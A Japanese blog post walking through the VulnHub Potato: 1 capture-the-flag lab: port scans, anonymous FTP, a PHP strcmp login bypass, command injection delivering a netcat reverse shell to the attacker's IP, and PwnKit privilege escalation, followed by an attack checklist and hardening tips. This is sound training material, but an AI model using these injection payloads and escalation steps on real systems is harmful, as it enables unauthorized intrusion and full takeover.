1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

VulnHub Potato: 1 writeup

1
Last updated at Posted at 2026-02-25

概要

VulnHubnのPotato1のWriteupです。「ハッキング・ラボのつくりかた」と@kk0128さんの記事を参考に解きました。

手順

  1. potato1を起動

  2. ip a
    自分のIPとマスクサイズを確認。今回は192.168.56.101/24。

    2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:68:26:bd brd ff:ff:ff:ff:ff:ff
    altname enx0800276826bd
    inet 192.168.56.101/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3
    valid_lft 543sec preferred_lft 543sec
    inet6 fe80::24d8:2202:9eed:954d/64 scope link noprefixroute
    valid_lft forever preferred_lft forever
    
  3. nmap -sn 192.168.56.1-254
    ネットワークアドレスとブロードキャストアドレスを除いてpotatoマシンに相当するものがいないか確認。192.168.56.105がpotatoの仮想マシンであることを確認。192.168.56.1と100はVirtualbox関連。

    Nmap scan report for 192.168.56.1
    Host is up (0.0011s latency).
    Nmap scan report for 192.168.56.100
    Host is up (0.0091s latency).
    Nmap scan report for 192.168.56.101
    Host is up (0.00038s latency).
    Nmap scan report for 192.168.56.105
    Host is up (0.0082s latency).
    
  4. nmap 192.168.56.105 -p 0-65535
    空いているポートがないかすべて確かめる。-pを付けないと有名所しか調べてくれないので注意。80, 22, 2112でhttp, ssh, kipなるサービスが動いていることを確認。

    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    2112/tcp open  kip
    
  5. nmap 192.168.56.105 -p 2112 -sV
    kipがよくわからないので詳細を表示。ftpだそう。

    PORT     STATE SERVICE VERSION
    2112/tcp open  ftp     ProFTPD
    
  6. nmap 192.168.56.105 -p 2112 -sV --script ftp-anon
    ftpには匿名ftpという仕組みがあり、usernameがanonymousならどんなパスワードでもログインさせてくれるものがあるらしい。この仕組みが対象のftpサーバーが提供しているかを確認する。無事できることがわかった。

    PORT     STATE SERVICE VERSION
    2112/tcp open  ftp     ProFTPD
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    | -rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
    |_-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg
    
  7. ftp

  8. open 192.168.56.105 -p 2112

  9. (username: anonymous, password: aでログイン)
    index.php.bak, welcom.msgがいた. (攻撃する際に嬉しいポイント: 不適切な公開設定)

  10. mget *
    全部ダウンロード

  11. codium index.php.bak welcom.msg
    index.php.bakは何かしらのバックアップファイルで、welcom.msgはよくわからないただのファイル
    ftpはこれくらいにしてhttpを見に行く

  12. (ブラウザを起動, アドレスバーにhttp://192.168.56.105を入力)
    個人的にこのポテトの写真かなり好き Screenshot_2026-02-25_13-16-57.png

  13. nikto -h http://192.168.56.105
    httpサーバーの脆弱性を簡単に教えてくれる。今回は/admin/がinterestingだね、と教えてくれた。

    + /admin/: This might be interesting.
    + /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
    
  14. (http://192.168.56.105/adminにアクセス)
    ログインフォームが表示された。これがindex.phpのレンダリング結果だそうで、さっき手に入れたindex.php.bakを見るとusername, password認証の仕組みが書いてある。ただusername: admin, password: potatoじゃログインできないので変えられてるみたい。
    usernameはadmin固定で、passwordに関しては@kk0128さんの記事に説明が詳しく書かれています。
    どうやら文字列ではなく配列がPOSTされるようにすればstrcmpがNULLを返し0と認識されるそうです。(攻撃する際に嬉しいポイント: 適切にNULL判定していない) Screenshot_2026-02-25_13-18-07.png

    if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    
  15. curl -X POST -d "username=admin&password[]=a" http://192.168.56.105/admin/index.php?login=1
    POSTしてみると無事welcomeの表示が返った。ブラウザで同じことをする。

    $curl -X POST -d "username=admin&password[]=a" http://192.168.56.105/admin/index.php?login=1
    <html>
    <head></head>
    <body>
    
    Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>
    
  16. (http://192.168.56.105/admin/index.phpでhtmlを編集, <form type="password" name="password">name="password[]"に変更, username: admin, password: aでボタン押し下げ)
    admin限定ページが表示された。
    脆弱エンジニアの日常さんのalpacahackの動画でサーバーからクライアントに送られたhtmlは改ざんし放題だからサーバーはクライアントからもらったhtmlやデータは必ず検証しないといけないって言ってたのを思い出した
    Logsを見に行くとどうやらlog_01.txtとかをcatした出力を返しているみたい。https://youtu.be/BeS04cy5ddY?si=SwwwSZ6yipHyhYFr
    Screenshot_2026-02-25_13-21-00.png
    Screenshot_2026-02-25_13-21-29.png
    Screenshot_2026-02-25_13-21-50.png

  17. (htmlを編集し、<input type="radio" name="file" value="log_03.txt">のvalueを../*にすると表示関連のスクリプトが確認できた)
    Screenshot_2026-02-25_13-23-02.png
    Screenshot_2026-02-25_13-23-23.png
    Screenshot_2026-02-25_13-24-00.png
    " . shell_exec("cat logs/" . $_POST['file']) . "というコマンドを実行している。catのあとにPOST文字列をくっつけているだけ。;でコマンドを続けられそう。リバースシェルを構築してみる。 (攻撃する際に嬉しいポイント: 入力文字列の未検証)

  18. nc -nlvp 5555

  19. (htmlを編集, value="log_03.txt; nc 192.168.56.101 5555 -e /bin/sh"にしてボタン押し下げ)
    リバースシェル構築が完了。これであのコマンドインジェクション脆弱性が潰されても、rootにshがkillされない限りは安心してpotatoマシンを利用できる。ncでpotato側のシェルにアクセスできるようになった。
    Screenshot_2026-02-25_13-25-08.png

    $nc -nlvp 5555
    listening on [any] 5555 ...
    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.105] 57280
    ls
    dashboard.php
    index.php
    logs
    
  20. python3 -c 'import pty; pty.spawn("/bin/bash")'
    シェルのアップグレードらしい。ncとshが直接値をやり取りするのでtab補完とかできないしプロンプトも何もないけど、shにpythonを実行させbashを呼び出させることでncとbashのやり取りを仲介してくれるようになった。これでタブ補完とか使える。

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    www-data@serv:/var/www/html/admin$
    
  21. (Ctrl-z)

  22. stty raw -echo; fg
    tabが空白として伝わらないようにしてくれる

  23. find / -perm -4000 -type f -exec ls -ls {} + 2> /dev/null
    スティッキービットが立てられているファイルを探す
    どうやら/usr/bin/pkexecが怪しい。www-dataという身分でも実行できる。調べると、このバージョンでは特権昇格ができてしまう脆弱性が含まれているらしい。上手く使えそう。 (攻撃する際に嬉しいポイント: 脆弱性を含む実行ファイルを更新していない。しかもそれにスティッキービットを付加している。)

    ...
    32 -rwsr-xr-x 1 root   root             31032 Aug 16  2019 /usr/bin/pkexec
    ...
    
  24. (一時的にNATに戻してgithubからPoCをダウンロードする。https://github.com/ly4k/PwnKit)
    実行ファイルは用意されている

  25. python -m http.server 8000
    httpサーバーを立ててpotatoマシンから実行ファイルを取れるようにする

  26. cd /tmp; wget http://192.168.56.101:8000/PwnKit
    書き込み権限のあるディレクトリに移動してPoCをダウンロード

  27. chmod +x PwnKit

  28. ./PwnKit
    これでrootになれた。

    www-data@serv:/tmp$ chmod +x PwnKit
    www-data@serv:/tmp$ ./PwnKit
    root@serv:/tmp#
    
  29. cd
    root.txtを確認。user.txtwebadminユーザーのホームにあった。これでクリア!!

    root@serv:/tmp# cd
    root@serv:~# ls
    root.txt  snap
    root@serv:~# cat root.txt
    bGljb3JuZSB1bmlqYW1iaXN0ZSBxdWkgZnVpdCBhdSBib3V0IGTigJl1biBkb3VibGUgYXJjLWVuLWNpZWwuIA==
    

とりあえずこう攻めろ

侵入段階: とりあえず侵入できそうなサーバーを見つけたらポートスキャン、httpサーバーが動いていたらブラウザで粗を探し総当りやhtml改ざんなどで侵入、ディレクトリトラバーサルやコマンドインジェクションを駆使してリバースシェル構築、ftpサーバーが動いていたら匿名ftpの仕組みがあるか確認し貰えるファイルを全て貰う、sshサーバーが動いていてユーザーとパスワードを入手出来ていたら侵入,リバースシェルを構築
特権昇格段階: PoCが公開されている脆弱性が放置されていたり、余計な実行ファイルに権限が与えられていたり、パスワードハッシュから元パスワードの解析に成功したら、いい感じに実行してrootを奪取

こうすれば安全になるよね

  1. anonymous ftpを無効化・余計なファイルを公開しない
  2. クライアントから受け取るhtmlや値について「適切な型か」「悪さ試みる文字列でないか」などを検証する
  3. 関数の返値を検証する・0かNULLかなどで分岐する
  4. 脆弱性のある実行ファイルにスティッキービットを付加しない・脆弱性のない最新版にすり替える
  5. 弱いパスワードを使用しない
  6. パスワードハッシュを/etc/passwdに保存しない・そこに保存するような古い設定を運用しない (普通はshadowの方に保存され、これはrootでも更新できない安全なものらしい)
  7. 工事中サイトをわざわざ公開しない
  8. 余計なコマンドの実行権限を与えない・sudoerは目的用途に応じて適切に設定する
  9. netcatは-eが使えないもののみをインストールする

謝辞

@kk0128さんの記事を見ると、ディレクトリトラバーサルで/etc/passwdからwebadminユーザーのパスワードハッシュを取得、johntheripperで元パスワードを解析、成功、ssh接続、sudo権限で実行できるファイルたちとして/bin/niceと/notes/*が登録されていることを確認、sudo /bin/nice /notes/../bin/bashのようにしてbashを起動するとrootになれる。/bin/niceをsudoでrootと同じ権限で実行できる、そして/notes/*のパターンに合致するならどんなプログラムでも実行可能という状況を活用していました。(攻撃する際に嬉しいポイント: 不必要なファイルパーミッションと不適切なワイルドカードの使用)
/bin/nice /notes/../bin/bash/notes/../bin/bash, sudo /notes/../bin/bashではwebadminが新しくwebadminとしてbashを起動したり、sudoのコマンド本体のパーミッション検査にひっかかるので、正式にsudoで実行できる/bin/niceを介してbashを起動してあげた、ということでした。とても参考になりました。
また、解法が一つには限らないという点も非常に興味深いです。

おまけ

  1. adminのパスワードについて
    当初、index.phpに対するhydraを用いたパスワードブルートフォースを実行していましたが、
    rootになった状態で/var/www/html/admin/index.phpから実際のパスワードを確認しにいくと総当りじゃ絶対に特定できないパスワードでした。
    serdesfsefhijosefjtfgyuhjiosefdfthgyjh

  2. 黒画面のまま放置していたpotatoマシンについて
    rootを取ってからadduser aaaa sudoでusernameとpasswordを登録すると無事ログインできました。
    正面からログインできてindex.phpもなにもかも消し放題という恐ろしい力を手に入れました。

  3. ゲストOSとホストOS間でのクリップボードの共有が突然停止する問題が発生しましたが、仮想マシンを一度シャットダウンして、settings>storageからVBoxGuestAdditions.isoをremoveしてもう一度セット、起動したら直りました。なんだったのか...

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?